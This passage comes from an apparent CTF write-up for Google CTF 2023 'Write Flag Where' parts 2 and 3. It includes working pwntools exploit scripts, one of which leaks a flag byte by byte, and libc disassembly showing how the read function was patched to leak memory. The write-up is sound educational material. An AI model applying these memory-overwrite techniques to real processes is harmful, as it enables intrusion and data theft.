    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">address</span> <span class="o">+</span> <span class="mh">0x21e0</span><span class="p">)</span><span class="si">}</span><span class="s"> 60"</span><span class="p">)</span>

    <span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<h3 id="write-flag-where---part-2">Write Flag Where - Part 2</h3>

<p>Part 2 proves to be trickier. In ghidra, the exit call stopped the decompiler from disassembling the code further, therefore missing a dprintf function call after the <code class="language-plaintext highlighter-rouge">exit(0)</code> call. Instead, I tried to leak the flag using the sscanf function with the string <code class="language-plaintext highlighter-rouge">0x%llx %u</code>. 
The sscanf function call will attempt to match the input format string from the input string. In the original challenge, it’s trying to match the starting 0x before reading the hex numbers as input. For example, if we overwrite the format string to <code class="language-plaintext highlighter-rouge">Cx%llx %u</code> and send the input <code class="language-plaintext highlighter-rouge">Cx0 0</code>, the program will continue normally, but input <code class="language-plaintext highlighter-rouge">Dx0 0</code> will exit immediately after. Therefore, we can overwrite that string, then attempt to read different strings, leaking the flag byte by byte. See <code class="language-plaintext highlighter-rouge">solve2.py</code> for implementation details.</p>

<p><code class="language-plaintext highlighter-rouge">CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_3?}</code></p>

<div class="accordion mb-2" id="wfw_solve2_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-wfw_solve2_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#wfw_solve2_py-content" aria-expanded="true" aria-controls="wfw_solve2_py-content">
         <p>Show solve2.py</p>
 
      </button>
    </p>
    <div id="wfw_solve2_py-content" class="accordion-collapse collapse" aria-labelledby="hd-wfw_solve2_py" data-bs-parent="#wfw_solve2_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
</pre></td><td class="rouge-code"><pre><span class="c1">#!/usr/bin/python3
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./chal_patched"</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./libc.so.6"</span><span class="p">)</span>
<span class="n">ld</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./ld-2.35.so"</span><span class="p">)</span>

<span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">elf</span>
<span class="n">context</span><span class="p">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="p">[</span><span class="s">"tmux"</span><span class="p">,</span> <span class="s">"splitw"</span><span class="p">,</span> <span class="s">"-h"</span><span class="p">]</span>

<span class="k">def</span> <span class="nf">connect</span><span class="p">():</span>
        <span class="n">nc_str</span> <span class="o">=</span> <span class="s">"nc wfw2.2023.ctfcompetition.com 1337"</span>
        <span class="n">_</span><span class="p">,</span> <span class="n">host</span><span class="p">,</span> <span class="n">port</span> <span class="o">=</span> <span class="n">nc_str</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">" "</span><span class="p">)</span>
        <span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">port</span><span class="p">))</span>

    <span class="k">return</span> <span class="n">p</span>

<span class="k">def</span> <span class="nf">attempt</span><span class="p">(</span><span class="n">cur_flag</span><span class="p">,</span> <span class="n">ch</span><span class="p">):</span>
    <span class="n">p</span> <span class="o">=</span> <span class="n">connect</span><span class="p">()</span>
    <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"fluff</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
    <span class="n">elf</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">'-'</span><span class="p">)[</span><span class="mi">0</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>

    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">6</span><span class="p">):</span>
        <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>

    <span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">'-'</span><span class="p">)[</span><span class="mi">0</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>

    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">11</span><span class="p">):</span>
        <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>

    <span class="n">stack_base</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">'-'</span><span class="p">)[</span><span class="mi">0</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>

    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">5</span><span class="p">):</span>
        <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>

<span class="c1">#    print(hex(elf.address), hex(libc.address), hex(stack_base))
</span>    <span class="n">count</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">cur_flag</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span>
    <span class="n">target_address</span> <span class="o">=</span> <span class="n">elf</span><span class="p">.</span><span class="n">address</span><span class="o">+</span><span class="mh">0x20bc</span><span class="o">-</span><span class="p">(</span><span class="n">count</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
    <span class="n">overwrite_str</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">target_address</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">overwrite_str</span><span class="si">}</span><span class="s"> </span><span class="si">{</span><span class="n">count</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

    <span class="n">overwrite_str</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">target_address</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">ch</span><span class="si">}{</span><span class="n">overwrite_str</span><span class="p">[</span><span class="mi">1</span><span class="si">:</span><span class="p">]</span><span class="si">}</span><span class="s"> </span><span class="si">{</span><span class="n">count</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

    <span class="n">overwrite_str</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">target_address</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">f</span><span class="s">"-</span><span class="si">{</span><span class="n">overwrite_str</span><span class="p">[</span><span class="mi">1</span><span class="si">:</span><span class="p">]</span><span class="si">}</span><span class="s"> </span><span class="si">{</span><span class="n">count</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

    <span class="k">try</span><span class="p">:</span>
        <span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
    <span class="k">except</span> <span class="nb">Exception</span><span class="p">:</span>
        <span class="n">p</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
        <span class="k">return</span> <span class="bp">False</span>
    <span class="n">p</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
    <span class="k">return</span> <span class="bp">True</span>

<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="n">context</span><span class="p">.</span><span class="n">log_level</span><span class="o">=</span><span class="s">'critical'</span>
    <span class="n">FLAG</span> <span class="o">=</span> <span class="s">"CTF{"</span>
    <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">100</span><span class="p">):</span>
        <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="s">"_"</span><span class="o">+</span><span class="n">string</span><span class="p">.</span><span class="n">printable</span><span class="p">[:</span><span class="o">-</span><span class="mi">7</span><span class="p">]:</span>
            <span class="k">print</span><span class="p">(</span><span class="n">FLAG</span><span class="o">+</span><span class="n">c</span><span class="p">)</span>
            <span class="k">if</span> <span class="n">attempt</span><span class="p">(</span><span class="n">FLAG</span><span class="p">,</span> <span class="n">c</span><span class="p">):</span>
                <span class="n">FLAG</span><span class="o">+=</span><span class="n">c</span>
                <span class="k">break</span>
        <span class="k">if</span> <span class="n">FLAG</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="s">"}"</span><span class="p">:</span>
            <span class="k">break</span>
    <span class="k">print</span><span class="p">(</span><span class="n">FLAG</span><span class="p">)</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<h3 id="write-flag-where---part-3">Write Flag Where - Part 3</h3>

<p>Lastly for part 3, we can’t write into the main binary region, including the all the data sections. After looking through the functions in libc that are used, I found that the read function is the most likely function to be hijacked, since the arguments used to call the function is helpful.</p>

<p>Meanwhile, I also look for some useful instructions we can create using the flag prefix. I notice that 0x43 (‘C’) is a prefix in x86 assembly, and can be used to nop out instruction with minimal effects on most registers. Another interesting instruction is 0x7b (‘{‘), which is jnp. This allow use to jmp further down the program. The changes made to the read function is as follow:</p>

<ol>
  <li>Overwrite the second syscall to set rsi from rsp+0x43</li>
  <li>Overwrite ja after second syscall to jnp to jump downward</li>
  <li>Overwrite jump direction of the last jmp to jump to write function</li>
  <li>Overwrite broken instructions with nop so it doesn’t segfault</li>
  <li>Overwrite the first return in the read function to trigger the full exploit.</li>
</ol>

<p>see <code class="language-plaintext highlighter-rouge">libc_original.asm</code> for the original libc function (disassembled from ghidra), and <code class="language-plaintext highlighter-rouge">libc_changed.asm</code> for the final state after all the writes, along with some comments to how the final payload achieved the target.</p>

<div class="accordion mb-2" id="wfw_before_asm">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-wfw_before_asm">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#wfw_before_asm-content" aria-expanded="true" aria-controls="wfw_before_asm-content">
         <p>Show libc_original.asm</p>
 
      </button>
    </p>
    <div id="wfw_before_asm-content" class="accordion-collapse collapse" aria-labelledby="hd-wfw_before_asm" data-bs-parent="#wfw_before_asm">
      <div class="accordion-body pb-0">
          
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
</pre></td><td class="rouge-code"><pre>// ssize_t read(int __fd,void *__buf,size_t __nbytes)
        00214980 f3 0f 1e fa     ENDBR64
        00214984 64 8b 04        MOV        EAX,dword ptr FS:[0x18]
                 25 18 00 
                 00 00
        0021498c 85 c0           TEST       EAX,EAX
        0021498e 75 10           JNZ        LAB_002149a0
        00214990 0f 05           SYSCALL
        00214992 48 3d 00        CMP        RAX,-0x1000
                 f0 ff ff
        00214998 77 56           JA         LAB_002149f0
        0021499a c3              RET
        0021499b 0f              ??         0Fh
        0021499c 1f              ??         1Fh
        0021499d 44              ??         44h    D
        0021499e 00              ??         00h
        0021499f 00              ??         00h
                             LAB_002149a0  
        002149a0 48 83 ec 28     SUB        RSP,0x28
        002149a4 48 89 54        MOV        qword ptr [RSP + local_10],__nbytes
                 24 18
        002149a9 48 89 74        MOV        qword ptr [RSP + local_18],__buf
                 24 10
        002149ae 89 7c 24 08     MOV        dword ptr [RSP + local_20],__fd
        002149b2 e8 b9 c0        CALL       __pthread_enable_asynccancel 
                 f7 ff
        002149b7 48 8b 54        MOV        __nbytes,qword ptr [RSP + local_10]
                 24 18
        002149bc 48 8b 74        MOV        __buf,qword ptr [RSP + local_18]
                 24 10
        002149c1 41 89 c0        MOV        R8D,EAX
        002149c4 8b 7c 24 08     MOV        __fd,dword ptr [RSP + local_20]
        002149c8 31 c0           XOR        EAX,EAX
        002149ca 0f 05           SYSCALL
        002149cc 48 3d 00        CMP        RAX,-0x1000
                 f0 ff ff
        002149d2 77 34           JA         LAB_00214a08
                             LAB_002149d4
        002149d4 44 89 c7        MOV        __fd,R8D
        002149d7 48 89 44        MOV        qword ptr [RSP + local_20],RAX
                 24 08
        002149dc e8 ff c0        CALL       __pthread_disable_asynccancel 
                 f7 ff
        002149e1 48 8b 44        MOV        RAX,qword ptr [RSP + local_20]
                 24 08
        002149e6 48 83 c4 28     ADD        RSP,0x28
        002149ea c3              RET
        002149eb 0f              ??         0Fh
        002149ec 1f              ??         1Fh
        002149ed 44              ??         44h    D
        002149ee 00              ??         00h
        002149ef 00              ??         00h
                             LAB_002149f0
        002149f0 48 8b 15        MOV        __nbytes,qword ptr [PTR_00318e10]
                 19 44 10 00
        002149f7 f7 d8           NEG        EAX
        002149f9 64 89 02        MOV        dword ptr FS:[__nbytes],EAX
        002149fc 48 c7 c0        MOV        RAX,-0x1
                 ff ff ff ff
        00214a03 c3              RET
        00214a04 0f              ??         0Fh
        00214a05 1f              ??         1Fh
        00214a06 40              ??         40h    @
        00214a07 00              ??         00h
                             LAB_00214a08
        00214a08 48 8b 15        MOV        __nbytes,qword ptr [PTR_00318e10]
                 01 44 10 00
        00214a0f f7 d8           NEG        EAX
        00214a11 64 89 02        MOV        dword ptr FS:[__nbytes],EAX
        00214a14 48 c7 c0        MOV        RAX,-0x1
                 ff ff ff ff
        00214a1b eb b7           JMP        LAB_002149d4
        00214a1d 0f              ??         0Fh
        00214a1e 1f              ??         1Fh
		
		
// ssize_t write(int __fd,void *__buf,size_t __n)
        00214a20 f3 0f 1e fa     ENDBR64
        00214a24 64 8b 04        MOV        EAX,dword ptr FS:[0x18]
                 25 18 00 
                 00 00
        00214a2c 85 c0           TEST       EAX,EAX
        00214a2e 75 10           JNZ        LAB_00214a40
        00214a30 b8 01 00        MOV        EAX,0x1
                 00 00
        00214a35 0f 05           SYSCALL
        00214a37 48 3d 00        CMP        RAX,-0x1000
                 f0 ff ff
        00214a3d 77 51           JA         LAB_00214a90
        00214a3f c3              RET
                             LAB_00214a40      
        00214a40 48 83 ec 28     SUB        RSP,0x28
        00214a44 48 89 54        MOV        qword ptr [RSP + local_10],__n
                 24 18
        00214a49 48 89 74        MOV        qword ptr [RSP + local_18],__buf
                 24 10
        00214a4e 89 7c 24 08     MOV        dword ptr [RSP + local_20],__fd
        00214a52 e8 19 c0        CALL       __pthread_enable_asynccancel  
                 f7 ff
        00214a57 48 8b 54        MOV        __n,qword ptr [RSP + local_10]
                 24 18
        00214a5c 48 8b 74        MOV        __buf,qword ptr [RSP + local_18]
                 24 10
        00214a61 41 89 c0        MOV        R8D,EAX
        00214a64 8b 7c 24 08     MOV        __fd,dword ptr [RSP + local_20]
        00214a68 b8 01 00        MOV        EAX,0x1
                 00 00
        00214a6d 0f 05           SYSCALL
        00214a6f 48 3d 00        CMP        RAX,-0x1000
                 f0 ff ff
        00214a75 77 31           JA         LAB_00214aa8
                             LAB_00214a77    
        00214a77 44 89 c7        MOV        __fd,R8D
        00214a7a 48 89 44        MOV        qword ptr [RSP + local_20],RAX
                 24 08
        00214a7f e8 5c c0        CALL       __pthread_disable_asynccancel 
                 f7 ff
        00214a84 48 8b 44        MOV        RAX,qword ptr [RSP + local_20]
                 24 08
        00214a89 48 83 c4 28     ADD        RSP,0x28
        00214a8d c3              RET
        00214a8e 66              ??         66h    f
        00214a8f 90              ??         90h
                             LAB_00214a90       
        00214a90 48 8b 15        MOV        __n,qword ptr [PTR_00318e10] 
                 79 43 10 00
        00214a97 f7 d8           NEG        EAX
        00214a99 64 89 02        MOV        dword ptr FS:[__n],EAX
        00214a9c 48 c7 c0        MOV        RAX,-0x1
                 ff ff ff ff
        00214aa3 c3              RET
        00214aa4 0f              ??         0Fh
        00214aa5 1f              ??         1Fh
        00214aa6 40              ??         40h    @
        00214aa7 00              ??         00h
                             LAB_00214aa8     
        00214aa8 48 8b 15        MOV        __n,qword ptr [PTR_00318e10] 
                 61 43 10 00
        00214aaf f7 d8           NEG        EAX
        00214ab1 64 89 02        MOV        dword ptr FS:[__n],EAX
        00214ab4 48 c7 c0        MOV        RAX,-0x1
                 ff ff ff ff
        00214abb eb ba           JMP        LAB_00214a77
        00214abd 0f              ??         0Fh
        00214abe 1f              ??         1Fh
        00214abf 00              ??         00h
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<div class="accordion mb-2" id="wfw_after_asm">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-wfw_after_asm">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#wfw_after_asm-content" aria-expanded="true" aria-controls="wfw_after_asm-content">
         <p>Show libc_changed.asm</p>
 
      </button>
    </p>
    <div id="wfw_after_asm-content" class="accordion-collapse collapse" aria-labelledby="hd-wfw_after_asm" data-bs-parent="#wfw_after_asm">
      <div class="accordion-body pb-0">
          
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
</pre></td><td class="rouge-code"><pre>0x7fca9f372980 &lt;read&gt;:     endbr64
0x7fca9f372984 &lt;read+4&gt;:   mov    eax,DWORD PTR fs:0x18
0x7fca9f37298c &lt;read+12&gt;:  test   eax,eax
0x7fca9f37298e &lt;read+14&gt;:  jne    0x7fca9f3729a0 &lt;read+32&gt;

// read payload so that rsp+0x43 = flag location
0x7fca9f372990 &lt;read+16&gt;:  syscall 

0x7fca9f372992 &lt;read+18&gt;:  cmp    rax,0xfffffffffffff000
0x7fca9f372998 &lt;read+24&gt;:  ja     0x7fca9f3729f0 &lt;read+112&gt;
//was ret, overwrite to start payload
0x7fca9f37299a &lt;read+26&gt;:  rex.XB 
0x7fca9f37299b &lt;read+27&gt;:  rex.XB //C
0x7fca9f37299c &lt;read+28&gt;:  rex.XB //C
0x7fca9f37299d &lt;read+29&gt;:  rex.XB //C
0x7fca9f37299e &lt;read+30&gt;:  rex.XB //C
0x7fca9f37299f &lt;read+31&gt;:  rex.XB //C
0x7fca9f3729a0 &lt;read+32&gt;:  sub    rsp,0x28
0x7fca9f3729a4 &lt;read+36&gt;:  mov    QWORD PTR [rsp+0x18],rdx
0x7fca9f3729a9 &lt;read+41&gt;:  mov    QWORD PTR [rsp+0x10],rsi
0x7fca9f3729ae &lt;read+46&gt;:  mov    DWORD PTR [rsp+0x8],edi
0x7fca9f3729b2 &lt;read+50&gt;:  rex.XB //C
0x7fca9f3729b3 &lt;read+51&gt;:  rex.XB //C
0x7fca9f3729b4 &lt;read+52&gt;:  rex.XB //C
0x7fca9f3729b5 &lt;read+53&gt;:  rex.XB //C
0x7fca9f3729b6 &lt;read+54&gt;:  rex.XB //C
0x7fca9f3729b7 &lt;read+55&gt;:  mov    rdx,QWORD PTR [rsp+0x18]

//C, load flag location into rsi
0x7fca9f3729bc &lt;read+60&gt;:  mov    rsi,QWORD PTR [rsp+0x43] 

0x7fca9f3729c1 &lt;read+65&gt;:  mov    r8d,eax
0x7fca9f3729c4 &lt;read+68&gt;:  mov    edi,DWORD PTR [rsp+0x8]
0x7fca9f3729c8 &lt;read+72&gt;:  xor    eax,eax

// read CT, rax = 2, cmp gives no parity, jmp
0x7fca9f3729ca &lt;read+74&gt;:  syscall 
0x7fca9f3729cc &lt;read+76&gt;:  cmp    rax,0x7b465443 //CTF{ {
0x7fca9f3729d2 &lt;read+82&gt;:  jnp    0x7fca9f372a08 &lt;read+136&gt;

[...]
0x7fca9f372a08 &lt;read+136&gt;: rex.XB //C
0x7fca9f372a09 &lt;read+137&gt;: rex.XB //C
0x7fca9f372a0a &lt;read+138&gt;: rex.XB //C
0x7fca9f372a0b &lt;read+139&gt;: rex.XB //C
0x7fca9f372a0c &lt;read+140&gt;: rex.XB //C
0x7fca9f372a0d &lt;read+141&gt;: rex.XB //C
0x7fca9f372a0e &lt;read+142&gt;: rex.XB neg r8d
0x7fca9f372a11 &lt;read+145&gt;: mov    DWORD PTR fs:[rdx],eax
0x7fca9f372a14 &lt;read+148&gt;: mov    rax,0xffffffffffffffff
0x7fca9f372a1b &lt;read+155&gt;: jmp    0x7fca9f372a60 &lt;write+64&gt; //C
[...]
0x7fca9f372a60 &lt;write+64&gt;: rex.XB //C
0x7fca9f372a61 &lt;write+65&gt;: mov    r8d,eax

// write 1337, flag, 0x40
0x7fca9f372a64 &lt;write+68&gt;: mov    edi,DWORD PTR [rsp+0x8]
0x7fca9f372a68 &lt;write+72&gt;: mov    eax,0x1
0x7fca9f372a6d &lt;write+77&gt;: syscall 
[...]
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<p>After overwriting the first return, I control the input to the read syscall to manipulate the content in rsp+0x43, and write the flag location there, so the write syscall will leak out the flag. To overcome the issue of no output, I add a sleep between each input to make sure the remove server have enough time to process each input. A better solution will be to pad each input to 0x40 bytes, then no delay will be needed. The solve script is in solve3.py.</p>

<p><code class="language-plaintext highlighter-rouge">CTF{y0ur_3xpl0itati0n_p0w3r_1s_0v3r_9000!!}</code></p>

<div class="accordion mb-2" id="wfw_solve3_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-wfw_solve3_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#wfw_solve3_py-content" aria-expanded="true" aria-controls="wfw_solve3_py-content">
         <p>Show solve3.py</p>
 
      </button>
    </p>
    <div id="wfw_solve3_py-content" class="accordion-collapse collapse" aria-labelledby="hd-wfw_solve3_py" data-bs-parent="#wfw_solve3_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">time</span>

<span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./chal_patched"</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./libc.so.6"</span><span class="p">)</span>
<span class="n">ld</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./ld-2.35.so"</span><span class="p">)</span>

<span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">elf</span>
<span class="n">context</span><span class="p">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="p">[</span><span class="s">"tmux"</span><span class="p">,</span> <span class="s">"splitw"</span><span class="p">,</span> <span class="s">"-h"</span><span class="p">]</span>


<span class="k">def</span> <span class="nf">connect</span><span class="p">():</span>
    <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">REMOTE</span><span class="p">:</span>
        <span class="n">nc_str</span> <span class="o">=</span> <span class="s">"nc wfw3.2023.ctfcompetition.com 1337"</span>
        <span class="n">_</span><span class="p">,</span> <span class="n">host</span><span class="p">,</span> <span class="n">port</span> <span class="o">=</span> <span class="n">nc_str</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">" "</span><span class="p">)</span>
        <span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">port</span><span class="p">))</span>

    <span class="k">else</span><span class="p">:</span>
        <span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="s">"ulimit -n 2048"</span><span class="p">)</span>
        <span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">([</span><span class="n">elf</span><span class="p">.</span><span class="n">path</span><span class="p">],</span> <span class="n">preexec_fn</span> <span class="o">=</span> <span class="k">lambda</span><span class="p">:</span> <span class="n">os</span><span class="p">.</span><span class="n">dup2</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1337</span><span class="p">))</span>
        <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">GDB</span><span class="p">:</span>
           <span class="n">gdb_script</span> <span class="o">=</span> <span class="s">"""
           b *main+638
           c 20
           """</span>
           <span class="n">gdb</span><span class="p">.</span><span class="n">attach</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">gdb_script</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">p</span>


<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="n">p</span> <span class="o">=</span> <span class="n">connect</span><span class="p">()</span>

    <span class="k">def</span> <span class="nf">write</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="nb">len</span><span class="p">):</span>
        <span class="c1">#p.stdout.write(f'0x{addr:x} {len}\n'.encode())
</span>        <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">f</span><span class="s">'0x</span><span class="si">{</span><span class="n">addr</span><span class="si">:</span><span class="n">x</span><span class="si">}</span><span class="s"> </span><span class="si">{</span><span class="nb">len</span><span class="si">}</span><span class="s">'</span><span class="p">.</span><span class="n">encode</span><span class="p">())</span>

        <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.5</span><span class="p">)</span>

    <span class="n">libc_found</span> <span class="o">=</span> <span class="bp">False</span>
    <span class="n">elf_found</span> <span class="o">=</span> <span class="bp">False</span>
    <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
        <span class="n">line</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">decode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">).</span><span class="n">strip</span><span class="p">()</span>
        <span class="k">if</span> <span class="s">'chal'</span> <span class="ow">in</span> <span class="n">line</span> <span class="ow">and</span> <span class="ow">not</span> <span class="n">elf_found</span><span class="p">:</span>
            <span class="n">elf_base</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">line</span><span class="p">.</span><span class="n">split</span><span class="p">()[</span><span class="mi">0</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">'-'</span><span class="p">)[</span><span class="mi">0</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>
            <span class="n">elf_found</span> <span class="o">=</span> <span class="bp">True</span>

        <span class="k">if</span> <span class="n">line</span><span class="p">.</span><span class="n">endswith</span><span class="p">(</span><span class="s">'libc.so.6'</span><span class="p">)</span> <span class="ow">and</span> <span class="ow">not</span> <span class="n">libc_found</span><span class="p">:</span>
            <span class="n">libc_base</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">line</span><span class="p">.</span><span class="n">split</span><span class="p">()[</span><span class="mi">0</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">'-'</span><span class="p">)[</span><span class="mi">0</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>
            <span class="n">libc_found</span> <span class="o">=</span> <span class="bp">True</span>

